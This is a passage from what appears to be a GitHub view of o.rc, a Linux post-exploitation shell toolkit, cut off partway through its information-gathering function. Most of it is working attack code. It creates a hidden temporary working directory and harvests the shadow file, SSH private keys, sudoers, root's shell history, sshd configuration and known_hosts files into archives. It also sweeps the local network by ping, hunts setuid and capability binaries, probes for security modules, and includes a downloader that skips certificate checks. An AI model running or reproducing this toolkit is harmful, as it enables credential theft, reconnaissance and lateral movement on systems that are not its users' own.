-
Notifications
You must be signed in to change notification settings - Fork 51
/
o.rc
1718 lines (1573 loc) · 52.3 KB
/
o.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# o.rc
OVERSION="0.6"
# NOTES
#authors: March, Darren Martyn, Ulrich Berntien
# ~~~ Compatibility Layer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# In the compatibility layer the functions to handle the differences
# between different Unix flavors, shell types are collected.
# Functions outside the compatibility layer call functions in this
# layer or call tools/programs common for all Unix flavors.
#
# orc_local
#
# Local variables are a useful help but some shells support 'local',
# some shells support 'typeset' and some shells support both.
# Here the alias orc_local is defined to ensure a wide support.
# Use orc_local only in the form 'orc_local var' not in the form
# 'orc_local var=value' because the second form is not supported by
# all shells. Also orc_local should be the first statement in a
# function.
if command -v local > /dev/null; then
# dash, bash, ash, mksh supports local
alias orc_local='local'
elif command -v typeset > /dev/null; then
# ksh, mksh, bash supports typeset
alias orc_local='typeset'
else
alias orc_local='orc_noop'
echo "Warning: no local variables could cause trouble" >&2
fi
orc_noop() {
# No operation.
return
}
# Variable orc_colorNever
#
# Some modern grep tools uses colored output. With the switch
# --color=never the colored output is switched of. Old grep
# tools, like busybox grep, never uses color and don't
# understand the --color switch
# The variable orc_colorNever is use to support both grep
# tools.
# Usage: grep $orc_colorNever ...
# Use the variable with out quotation. With quotes the empty
# string will be used as argument.
if echo 'test' | grep --color=never -q 'test' 2> /dev/null; then
orc_colorNever='--color=never'
else
orc_colorNever=''
fi
# orc_existsTestCommand
#
# A check for a program or shell command could be executed
# by a hash or a type command. The hash command works in
# the bash and dash but not in the ksh. The type command
# works in bash, dash and ksh but is not POSIX conform.
# So try to figure out which command works and define an
# alias to the command.
# A variable instead an alias does not work with ksh.
if hash ' not a program ' > /dev/null 2> /dev/null; then
alias orc_existsTestCommand='type'
else
alias orc_existsTestCommand='hash'
fi
# Check the alias orc_existsTestCommand
if orc_existsTestCommand ' not a program ' > /dev/null 2> /dev/null; then
echo 'Error: can not find a tool for program exist checks' >&2
fi
if ! orc_existsTestCommand cp > /dev/null 2> /dev/null; then
echo 'Error: can not find a tool for program exist checks' >&2
fi
orc_existsProg () {
# Checks if a program/command exists.
# Argument: Program/command name to check.
# Exit status: 0 if one ore more programs do not exists.
if [ $# -lt 1 ]; then
echo 'Error: missing program name to check' >&2
return 1;
fi
orc_existsTestCommand "$@" > /dev/null 2> /dev/null
}
orc_listArp() {
# List IP addresses in the ARP table.
# List only resolved addresses.
# Arguments: None
# Output to stdout: List of IP addresses, one address per line
if orc_existsProg arp; then
# use short switches -a, -n because the long versions are not
# supported on all systems, e.g. on busybox.
arp -na | grep $orc_colorNever -iv 'incomplete' | orc_filterIpAddress
elif orc_existsProg ip; then
ip neigh show | grep $orc_colorNever -iv 'FAILED' | orc_filterIpAddress
else
echo 'Error: Can not list ARP content. Found no tool' >&2
fi
}
orc_listBroadcastAddress() {
# List the broadcast addresses of interfaces.
# Arguments: None
# Output to stdout: IPv4 broadcast addresses, one per line
if orc_existsProg ifconfig; then
# Attention: ifconfig output is different on the systems.
# The up/down status is not checked because it may fail on different
# output formats.
ifconfig |
awk '
match($0,/inet.* broadcast +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) {
# ifconfig version nettools 2.10
split(substr($0,RSTART,RLENGTH),tmp )
print tmp[2] }
match($0,/Bcast[: ]+([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) {
# ifconfig version busybox 1.27
split(substr($0,RSTART,RLENGTH),tmp,/[: ]+/)
print tmp[2] }'
elif orc_existsProg ip; then
ip addr show |
awk '
match($0,/brd +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) {
split(substr($0,RSTART,RLENGTH),tmp)
print tmp[2] }'
else
echo 'Error: can not list broadcast addresses. Found no tool' >&2
fi
}
orc_inetAddressAndMask() {
# Lists the IPv4 addresses and netmask of the interfaces.
# Arguments: None
# Output to stdout: Address and mask space separated.
# One line per active interface
if orc_existsProg ifconfig; then
ifconfig |
awk '
match($0,/inet +[0-9\.]+ +netmask +[0-9\.]+ +broadcast/) {
# matching ifconfig 2.10 Linux
split(substr($0,RSTART,RLENGTH),item)
print item[2] " " item[4]
}
match($0,/inet +addr[: ]+[0-9\.*]+ +Bcast[: ]+[0-9\.]+ +Mask[: ]+[0-9\.]+/) {
# matching ifconfig Busybox 1.27
split(substr($0,RSTART,RLENGTH),item,/[: ]+/)
print item[3] " " item[7]
}'
elif orc_existsProg ip; then
ip addr show |
awk '
match($0,/inet +[0-9\.]+\/[0-9]+ brd/) {
split(substr($0,RSTART,RLENGTH),item,/[\/ ]+/)
print item[2] " " item[3]
}' |
while read -r addr bits; do
echo "$addr" "$(orc_lengthToIP4netmask "$bits")"
done
else
echo "Error: can not list IP addresses, no tool found" >&2
fi
}
orc_exportProxySettings () {
# Export http and https proxy settings in some formats.
# Arguments: None
# Global: http(s)_proxy variables will be used.
#
# A proxy could be set via environment variables to the tools.
# But some tools in some versions needs lower case and some
# needs upper case variable names. To increase portability
# both cases will be exported.
export http_proxy
export HTTP_PROXY
if [ -n "$http_proxy" ]; then
if [ -n "$HTTP_PROXY" ] && [ "$HTTP_PROXY" != "$http_proxy" ]; then
echo 'Warning: ignore HTTP_PROXY value and use http_proxy value' >&2
fi
HTTP_PROXY=$http_proxy
elif [ -n "$HTTP_PROXY" ]; then
http_proxy=$HTTP_PROXY
fi
export https_proxy
export HTTPS_PROXY
if [ -n "$https_proxy" ]; then
if [ -n "$HTTPS_PROXY" ] && [ "$HTTPS_PROXY" != "$https_proxy" ]; then
echo 'Warning: ignore HTTPS_PROXY value and use https_proxy value' >&2
fi
HTTPS_PROXY=$https_proxy
elif [ -n "$HTTPS_PROXY" ]; then
https_proxy=$HTTPS_PROXY
fi
}
orc_loadURL () {
# Loads from an URL via curl, wget or perl.
# Argument: The URL to download, https is supported.
# Output to stdout: The content of the URL document.
# Global: http(s)_proxy variables will be used.
if [ $# -ne 1 ]; then
echo 'Error: argument must be one URL to load' >&2
return 1
fi
orc_exportProxySettings
if orc_existsProg curl; then
curl --silent --location --insecure -- "$1"
elif orc_existsProg wget; then
wget --quiet --no-check-certificate --output-document=- -- "$1"
elif orc_existsProg perl; then
perl -e 'use LWP::Simple qw ($ua head get);
$url = $ARGV[0];
$ua->ssl_opts(verify_hostname => 0,SSL_verify_mode => 0x00);
print get $url;
' -- "$1"
elif orc_existsProg python; then
# Do not insert the code because python is insert sensitive.
PYTHONHTTPSVERIFY=0 python -c '
import sys, urllib2
request = urllib2.urlopen(sys.argv[1])
sys.stdout.write(request.read())
' "$1"
else
echo 'Error: no download tool found' >&2
return 1
fi
}
orc_tryTcpConnection () {
# Try to open a TCP connection to given host and port.
# Argument: host name or host IP address
# TCP port number
# Return: 0 if and only if TCP connection could be opened
if [ $# -ne 2 ]; then
echo 'Error: need host and TCP port as arguments' >&2
return 1
fi
if orc_existsProg bash; then
# Open a connection with the bash.
# This is a bash extension. POSIX shell will not support this.
bash -c "echo '' > /dev/tcp/$1/$2" 2>/dev/null
elif orc_existsProg nmap; then
# TCP connect scan with nmap
nmap -oG - -Pn -sT -p "$2" "$1" | grep -q '/open/tcp/'
elif orc_existsProg perl; then
perl -e 'use IO::Socket;
$s = IO::Socket::INET->new(
PeerAddr => $ARGV[0], PeerPort => $ARGV[1],
Proto => "tcp", Type => SOCK_STREAM)
or exit 1;
close $s;
' -- "$1" "$2"
elif orc_existsProg python; then
# TCP connection open with python version 2
# Do not insert the code because python is insert sensitive.
python -c '
import socket,sys
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
except:
sys.exit(1)
sys.exit(0)
' "$1" "$2"
elif orc_existsProg nc; then
# Open connection with netcat
# Do not use option -N here because not all nc implementations support
# this (e.g. busybox).
echo '' | nc -w1 "$1" "$2" 2>/dev/null
else
echo 'Error: no tool to open TCP connection found' >&2
return 1
fi
}
orc_listTmp() {
# List tmpfs directories with access information.
# Search in the list of tmpfs filesystem and in a list of common
# file destinations.
# Use simple df call to keep script compatible to the most systems.
# -l, -t, --output is not available on some systems, e.g. busybox.
{ df -P;
echo '/dev/shm';
echo "$XDG_RUNTIME_DIR";
echo '/tmp';
echo '/var/tmp';
echo "$TMPDIR";
echo "$HOME";
echo "$NHOME";
echo '/root';
} |
# filter: filesystem tmpfs and each directory only once
awk '(NF==1 || $1=="tmpfs") && hit[$NF]==0 {hit[$NF]=1; print $NF}' |
# filter: only existing directories
while read -r i; do
if [ -d "$i" ]; then
echo "$i"
fi
done
}
orc_makeHome() {
# Creates a home directory.
# Sets the variable $HOME to this new created directory.
# Searchs a temporary directory without noexec flag as base.
for base in $(orc_listTmp); do
if [ ! -r "$base" ] || [ ! -w "$base" ] || [ ! -x "$base" ]; then
# no read, no write or no search-able access
continue
fi
# Try to create a home directory
mkdir "$base/.q" 2>/dev/null
# Also possible to reuse an existing directory
if [ -d "$base/.q" ]; then
# try to create an executable
echo '#!/bin/sh' > "$base/.q/.t"
chmod +x "$base/.q/.t"
# test and call the created script.
# On systems (e.g. busybox) the call failed but the test pass
if [ ! -x "$base/.q/.t" ] || ! "$base/.q/.t" 2>/dev/null; then
# can not create a executable
# remove test file; use -f to prevent any prompt
rm -f "$base/.q/.t"
rmdir "$base/.q"
continue
fi
rm -f "$base/.q/.t"
# this is a good home
HOME="$base/.q"
return
fi
done
# no good home directory found. Use /dev/shm/.q as error fallback
echo 'Warning: found no good home directory, some functions may fail' >&2
HOME="/dev/shm/.q"
mkdir $HOME 2>/dev/null
}
orc_archive () {
# Archive a directory content in a file.
# Uses tar, zip or ar.
# Arguments: Base name of the archive file.
# Directory to archive.
# Return: 0 if and only if archive file creation was ok.
# Globals: Set ORC_ARCHIV_FILE to the name of the created file.
if [ $# -ne 2 ]; then
echo 'Error: archiver needs two arguments' >&2
return 1
fi
if [ ! -d "$2" ] || [ ! -r "$2" ]; then
echo "Error: archiver can not read $2" >&2
return 1
fi
# Now no archive file exists. Reset any old content.
ORC_ARCHIVE_FILE=""
if orc_existsProg tar; then
# try tar with internal xz compression
tar -cJf "$1.tar.xz" "$2" && ORC_ARCHIVE_FILE="$1.tar.xz"
if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg xz; then
# try tar with external xz compression
{ tar -cf "$1.tar" "$2" && xz -9 "$1.tar" && ORC_ARCHIVE_FILE="$1.tar.xz"; } || rm -f "$1.tar"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
# try the old gzip inside tar
tar -czf "$1.tar.gz" "$2" && ORC_ARCHIVE_FILE="$1.tar.gz"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
# try tar without compression
tar -cf "$1.tar" "$2" && ORC_ARCHIVE_FILE="$1.tar"
fi
fi
if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg zip; then
# try to zip the files
zip -9Xrq "$1.zip" "$2" && ORC_ARCHIVE_FILE="$1.zip"
fi
if [ -z "$ORC_ARCHIVE_FILE" ]; then
echo 'Error: no working archive tool found' >&2
return 1
fi
}
# ~~~ Helper Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# In the section of the internal helper functions are collected.
# The helper functions are typical not called by the user of o.rc
# Some user level functions uses the functions and variables defined
# in the helper functions section.
#
alias 'echo'='/bin/echo'
# Create home directory and prepare remove at script exit
orc_makeHome
if [ ! -d "$HOME" ]; then
echo 'Error: can not find a home directory' >&2
exit 1
fi
trap 'rm -rf $HOME' EXIT TERM INT
# Creates a copy of this script in variable backup
# Should be start like "ENV=o.rc sh -i".
backup=''
if [ -n "$BASH" ]; then
# Script runs in bash. Here BASH_SOURCE exists.
# shellcheck disable=SC2169,SC2039
if [ -r "${BASH_SOURCE[0]}" ] && [ ! -r "$ENV" ]; then
# Script was started in bash via source.
ENV=${BASH_SOURCE[0]}
fi
fi
if [ -r "$ENV" ]; then
backup=$(cat "$ENV")
# Convert to absolute file name for later use.
ENV=$(readlink -f "$ENV")
fi
if [ -z "$backup" ]; then
echo 'Warning: backup variable with script file is not available' >&2
fi
NHOME=''
orc_createEchoFile () {
# Creates a shell script file which echos the arguments.
# Argument: Text to echo.
# Global: set $ORC_ECHO_FILE to the created file.
if [ $# -lt 1 ]; then
echo 'Error: missing text to echo' >&2
return 1
fi
if [ "$HOME" = "" ]; then
echo 'Error: HOME variable is empty' >&2
return 1
fi
# Create the script file in the prepared HOME directory
ORC_ECHO_FILE="$HOME/.c"
echo '#!/bin/sh' > "$ORC_ECHO_FILE"
if [ ! -r "$ORC_ECHO_FILE" ]; then
echo 'Error: can not create echo file' >&2
return 1
fi
# Limit access to the owner
chmod a-rw,u=rwx "$ORC_ECHO_FILE"
# The text must be single-quoted to prevent changes by the shell
echo "echo '$*'" >> "$ORC_ECHO_FILE"
}
orc_httpsProxyReminder() {
# Remind the user if https_proxy is not set and
# tcp connection error to the server at port 443.
# Argument: Name or IP address of the server.
# Output to stdout: Reminder.
# Global: https_proxy variable is checked.
if [ $# -ne 1 ]; then
echo 'Error: missing host name' >&2
return 1
fi
if [ -z "$https_proxy" ] && [ -z "$HTTPS_PROXY" ]; then
# no proxy is defined.
if ! orc_tryTcpConnection "$1" 443; then
# no connection and no proxy: remind
echo 'Info: connection problem, https_proxy could be needed' >&2
return 2
fi
fi
# else: if https_proxy is defined, then never remind
return 0
}
orc_log2outp() {
# Runs a command and writes output to files in $OUTP.
# arguments: basename command command-arguments
# outputs: pipes stdout into $OUTP/basename.txt
# pipes stderr into $OUTP/basename.err
# logs basename and command call in $OUTP/log.txt
if [ ! -d "$OUTP" ]; then
echo 'Error: output directory not defined or prepared' >&2
return 1
fi
if [ $# -lt 1 ]; then
echo 'Error: missing basename of the output files' >&2
return 1
fi
echo "$@" >> "$OUTP/log.txt"
basename=$1
shift
if [ $# -lt 1 ]; then
echo 'Error: missing command to execute' >&2
return 1
fi
"$@" >> "$OUTP/$basename.txt" 2>> "$OUTP/$basename.err"
}
orc_listUsers() {
# Listing users in passwd with login shells.
# Reject shells named *nologin or *false as valid shells.
getent passwd |
awk -F ':' '
NF==1 && $1 !~ /^#|nologin$|false$/ {shells[$1]=1}
$7 in shells {print $1}' /etc/shells -
}
orc_homeOfUserID () {
# Gets the home directory of the user.
# Argument: ID of the user.
# Output to stdout: home directory
if [ $# -ne 1 ]; then
echo 'Error: argument user-id must be given' >&2
return 1
fi
getent passwd |
awk -F ':' -v userid="$1" '$3 == userid {print $6}'
}
orc_homeOfCurrentUser () {
# Gets the home directory of the current user.
# Argument: -
# Output to stdout: home directory
orc_homeOfUserID "$(id -u)"
}
orc_ourPts() {
# Get our PTS.
# Writes nothing if not connected to a PTS.
mytty=$(tty)
mypts=${mytty#/dev/pts/}
# Check if it is a pts device
if [ "/dev/pts/$mypts" = "$mytty" ]; then
echo "$mypts"
fi
}
orc_isMinimalOsVersion() {
# Checks the OS name and version.
# Arguments: OS name (e.g. Linux)
# First part of the version number
# Second part of the version number
# Return: 0 if OS name is equal and version is equal or greater.
# 1 if OS name is not equal
# 2 if OS name is equal but version is less.
orc_local first rest
if [ $# -ne 3 ]; then
echo 'Error: missing arguments: name, version1, version2' >&2
return 9
fi
# use the short options -s and -n because not all uname tools
# support the long option names, e.g. busybox.
if [ "$1" != "$(uname -s)" ]; then
return 1
fi
rest=$(uname -r)
first=${rest%%.*}
if [ "$first" -gt "$2" ]; then
return 0;
elif [ "$first" -lt "$2" ]; then
return 2;
fi
# first part of the version number is equal
rest=${rest#*.}
first=${rest%%.*}
if [ "$first" -lt "$3" ]; then
return 2
fi
# second part of the version number is greater or equal
return 0
}
orc_filterIpAddress() {
# Filters strings look like an IPv4 or IPv6 address.
# The function reads stdin and writes to stdout.
# Maximal one address per line will pass the filter.
# The filter passes all valid IPv4 addresses.
# Some valid IPv6 are do not pass the filter.
# Ethernet addresses do not pass.
# Arguments: none
# The awk script support gawk and mawk. The match(s,p,a)
# is not supported by mawk. Also the pattern repeat operator
# {n} is not supported by mawk. Hence the pattern are
# more complicated.
awk '
match($0,/([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) {
# it is a IPv4 address
tmp = substr($0,RSTART,RLENGTH)
if (match(tmp,/\..+\..+\./))
print tmp
next }
match($0,/([a-f0-9]?[a-f0-9]?[a-f0-9]?[a-f0-9]?:)+[a-f0-9]+/) {
# it is a IPv6 address or an ethernet address with lower case letters
tmp = substr($0,RSTART,RLENGTH)
if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0)
print tmp
next }
match($0,/([A-F0-9]?[A-F0-9]?[A-F0-9]?[A-F0-9]?:)+[A-F0-9]+/) {
# it is a IPv6 address or an ethernet address with upper case letters
tmp = substr($0,RSTART,RLENGTH)
if (match(tmp,/:.*:.*:.*:.*:/) && match(tmp,/^..:..:..:..:..:..$/)==0)
print tmp
next }'
}
orc_pingBroadcast() {
# Ping the Broadcast IP addresses of all interfaces.
# Arguments: None
# Output to stdout
orc_local addr
for addr in $(orc_listBroadcastAddress); do
ping -c 3 -i 10 -b "$addr"
done
}
orc_listHomes() {
# List the home directories of the users.
# Argument: None.
# Output to stdout: One home directory per line.
orc_local dir
getent passwd |
# filter: home directory in field 6, directory only once
awk -F ':' 'hit[$6] == 0 {hit[$6]=1; print $6}' |
# filter: only existing directories, no dummy entries
while read -r dir; do
if [ -d "$dir" ]; then
echo "$dir"
fi
done
}
orc_flatFileName() {
# Translate a file name with path into a simple name.
# Argument: A file name with path.
# Output to stdout: The name with slashes replaced by underlines.
echo "$1" | tr '/' '_'
}
orc_testAndCopy() {
# Test read access. Then copy if read access is possible.
# The function copies only if a read access is possible.
# The function is silent, does not write a message on copy
# or on missing read access and skipping the copy.
# Copies the file into the destination directory with the
# 'flat name' of the source. This means the full path given
# as argument is transformed into a name like '_path_name'.
# (See function orc_flatFileName.)
# Arguments: File to copy (could contain a path).
# Destination directory (without file name).
if [ $# -ne 2 ]; then
echo 'Error: need two arguments: file and destination' >&2
return 1
fi
if [ ! -d "$2" ]; then
echo "Error: 2nd parameter ($2) must be a directory" >&2
return 1
fi
if [ -r "$1" ]; then
cp "$1" "$2/$(orc_flatFileName "$1")"
fi
}
orc_collectOtherHostsInfo() {
# Collect files containing info about other hosts.
# Arguments: None
# Output to $HOME/kh archive file
# Collect output files in $OUTP
orc_local dir
OUTP="$HOME/files/"
mkdir --mode 700 "$OUTP"
echo 'collect all readable .ssh/known_hosts files'
for dir in $(orc_listHomes); do
orc_testAndCopy "$dir/.ssh/known_hosts" "$OUTP"
done
echo 'try /etc/ssh/known_hosts file'
orc_testAndCopy /etc/ssh/known_hosts "$OUTP"
echo 'try /etc/hosts'
orc_testAndCopy /etc/hosts "$OUTP"
echo 'try /etc/lmhosts'
orc_testAndCopy /etc/lmhosts "$OUTP"
# Stores all single files in one archive file.
if orc_archive "$HOME/kh" "$OUTP"; then
echo "Find the collected files in $ORC_ARCHIVE_FILE"
# Remove the single files. Keep only the archive file.
rm -rf "$OUTP"
else
echo "Error: can not archive, the files are in $OUTP" >&2
fi
}
orc_IP4toInteger() {
# Converts a IPv4 address into a number.
# Argument: IPv4 address
# Output to stdout: integer number
orc_local str value
if [ $# -ne 1 ]; then
echo 'Error: IPv4 address must be given as argument' >&2
return 1
fi
# get first number by removing the last 3 numbers
value=${1%.*.*.*}
if [ "$value" = '' ]; then
echo 'Error: no IPv4 address given' >&2
return 1
fi
# get the last 2 numbers by removing the first number
str="${1#*.}"
# the second number
value=$(( (value << 8) | ${str%.*.*} ))
str="${str#*.}"
# the third number
value=$(( (value << 8) | ${str%.*} ))
str="${str#*.}"
# the last number
value=$(( (value << 8) | str ))
echo $value
}
orc_integerToIP4() {
# Converts a number into an IPv4 address
# Argument: integer number
# Output to stdout: IPv4 address in dotted format.
orc_local str value
if [ $# -ne 1 ]; then
echo 'Error: number must given as argument' >&2
return 1
fi
str="$(( $1 & 255 ))"
value=$(( $1 >> 8 ))
str="$(( value & 255 )).$str"
value=$(( value >> 8 ))
str="$(( value & 255 )).$str"
value=$(( value >> 8 ))
str="$(( value & 255 )).$str"
value=$(( value >> 8 ))
echo "$str"
}
orc_firstIP4integer() {
# First IPv4 address in a LAN.
# Argument: One address as integer, NOT dotted format
# Netmask as integer, NOT dotted format
# Output to stdout: first address in the LAN as integer
if [ $# -ne 2 ]; then
echo 'Error: address and netmask must be given' >&2
return 1
fi
# +1 because all bits 0 outside the bitmask is not allowed, it
# is the address of the subnet, not of a host.
echo $(( ($1 & $2) | 1 ))
}
orc_lastIP4integer() {
# Last IPv4 address in a LAN.
# Argument: One address as integer, NOT dotted format
# Netmask as integer, NOT dotted format
# Output to stdout: last address in the LAN as integer
if [ $# -ne 2 ]; then
echo 'Error: address and netmask must be given' >&2
return 1
fi
# 65535<<16|65534 = 31 bits 1 and last bit 0. Written with
# numbers valid in a 32-bit signed integer and 64-bit signed
# integer arithmetic.
# All bits 1 outside the netmask is the broadcast address
# of the subnet.
echo $(( ($1 & $2) | ((65535<<16|65534) & ~$2) ))
}
orc_lengthToIP4netmask() {
# Converts the fixed length number into the IPv4 bitmask.
# Argument fixed length
# Output to stdout: IPv4 bitmask
orc_local value counter topbit
if [ $# -ne 1 ]; then
echo 'Error: fixed length size must be given' >&2
return 1
fi
if [ "$1" -lt 1 ] || [ "$1" -gt 31 ]; then
echo 'Error: length out of range' >&2
return 1
fi
value=0
counter=$1
topbit=$(( 1 << 31 ))
while [ "$counter" -gt 0 ]; do
counter=$(( counter - 1 ))
# shift current bits 1 right and set the topmost bit to 1.
value=$(( (value >> 1) | topbit ))
done
orc_integerToIP4 $value
}
orc_pingIP4localnet() {
# Ping all local IPv4 addresses
# and protocol if host is alive.
# Arguments: One IPv4 address in dotted format
# The netmask in dotted format
orc_local myaddr mask value lastvalue address
if [ $# -ne 2 ]; then
echo 'need address and netmask as arguments' >&2
return 1;
fi
myaddr=$(orc_IP4toInteger "$1")
mask=$(orc_IP4toInteger "$2")
value=$(orc_firstIP4integer "$myaddr" "$mask")
lastvalue=$(orc_lastIP4integer "$myaddr" "$mask")
while true; do
address=$(orc_integerToIP4 "$value")
if ping -c1 -n "$address" > /dev/null; then
echo "$address is alive"
fi
if [ "$value" -eq "$lastvalue" ]; then
break;
fi
value=$(( value + 1 ))
done
}
# ~~~ User Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# The user functions are designed to be called by the o.rc users.
#
getdbus() {
echo "Dbus services for system:"
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
echo "Dbus services for session:"
dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
echo "See https://github.com/taviso/dbusmap for additional dbus auditing!"
}
getsec() {
echo "Let's see if there are any defences."
selinuxenabled >/dev/null 2>/dev/null
if echo $? | grep -q 0;
then echo "SELinux is enabled."
fi
command -V aa-status >/dev/null 2>/dev/null
if echo $? | grep -q 0;
then echo "AppArmor is probably installed."
fi
if grep -q PaX /proc/self/status; then
echo "GrSec and PaX live here."
fi
}
# getsfiles is called without argument in the function, that is ok.
# shellcheck disable=SC2119,SC2120
getsfiles () {
# Lists files with setuid and setcap.
# Optional argument background
# runs the search in the background and write the filelist
# to $HOME/sfiles
if [ $# -eq 1 ] && [ "$1" = 'background' ]; then
echo "run in $1, find results in $HOME/sfiles"
getsfiles > "$HOME/sfiles" &
else
if [ $# -ne 0 ]; then
echo 'Error: call must getsfile [background]' >&2
return 1
fi
if orc_existsProg find; then
# List setuid flagged files
echo 'setuid flagged files list; attribute user name'
find / -perm /4000 \
-exec stat -c '%a %A %U %N' -- \{\} \; \
2> /dev/null
echo ''
else
echo 'Error: missing find, need to implement other search' >&2
fi
if orc_existsProg getcap; then
echo 'files with capabilities; name = caps'
getcap -r / 2>/dev/null
else
echo 'Error: missing getcap' >&2
fi
fi
}
getinfo() {
echo "Gathering useful command output."
# Collect output files in $OUTP
OUTP=$HOME/files/
mkdir --mode 700 "$OUTP"
orc_log2outp passwd getent passwd
orc_log2outp uname uname -a
orc_log2outp ps ps -weFH
orc_log2outp w w
orc_log2outp last last -i
orc_log2outp uptime uptime
orc_log2outp id id
orc_log2outp date date
orc_log2outp cpuinfo cat /proc/cpuinfo
orc_log2outp free free -g
orc_log2outp route route -n
orc_log2outp hosts cat /etc/hosts
orc_log2outp resolve cat /etc/resolv.conf
orc_log2outp rpcinfo rpcinfo
orc_log2outp lsmod lsmod
orc_log2outp lsusb lsusb
orc_log2outp mount mount
orc_log2outp df df
orc_log2outp user_crontab crontab -l
if orc_existsProg ifconfig; then
orc_log2outp ifconfig ifconfig -a
else
orc_log2outp ifconfig ip link
fi
orc_log2outp netstat netstat -peanut
# The condition should work with POSIX sh and bash.
# Variable EUID is defined in the bash.
# Check EUID of /root works in dash (and in bash).
# shellcheck disable=SC2039,SC2169
if [ "$EUID" = "0" ] || [ -O "/root" ]; then
orc_log2outp shadow getent shadow
orc_log2outp ssh_keys find /home/ -name id_rsa
orc_log2outp sudoers cat /etc/sudoers
orc_log2outp crontab cat /etc/crontab
orc_log2outp iptables iptables -L
orc_log2outp secure cat /var/log/secure
orc_log2outp roothist cat /root/.bash_history
orc_log2outp sshd_config cat /etc/ssh/sshd_config
orc_log2outp root_dir ls -al /root/
#inelegant hack
orc_log2outp netstat netstat -peanut
if orc_existsProg getsebool; then
orc_log2outp sellinux getenforce
orc_log2outp sellinux getsebool -a
orc_log2outp sellinux sestatus
fi
fi
# Stores all single log files in one archive file.
